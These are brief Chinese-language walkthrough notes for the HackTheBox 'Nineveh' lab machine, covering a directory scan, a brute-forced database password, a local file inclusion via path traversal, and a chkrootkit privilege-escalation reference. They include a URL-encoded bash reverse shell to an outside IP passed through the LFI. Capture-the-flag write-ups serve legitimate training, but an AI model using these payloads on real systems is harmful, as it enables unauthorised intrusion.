应该跟文件读取有关系先试试看443端口,

ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR

gobuster dir -u https://nineveh.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,html -k

看到有DB,https://nineveh.htb/db/

爆破密码:

password123

首先创建一个数据库hack。php，然后表随便创建一个，然后插入一个

然后去到那个lfi的地方进行访问

http://10.129.143.34/department/manage.php?notes=files/ninevehNotes/../../../../../../var/tmp/hack.php

http://10.129.143.34/department/manage.php?notes=files/ninevehNotes/../../../../../../var/tmp/hack.php&ipp=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.16.31/3334%200%3E%261%27

(需要注意提交参数的时后要用URL编码& = %26)

透過pspy32可以發現有chkrootkit這隻成是在跑，chkrootkit是一支可以檢查程式弱點及漏洞的東西，但是他自己就是漏洞。

发现可以使用https://vk9-sec.com/chkrootkit-0-49-local-privilege-escalation-cve-2014-0476/?source=post_page-----8023cae4f4cd---------------------------------------
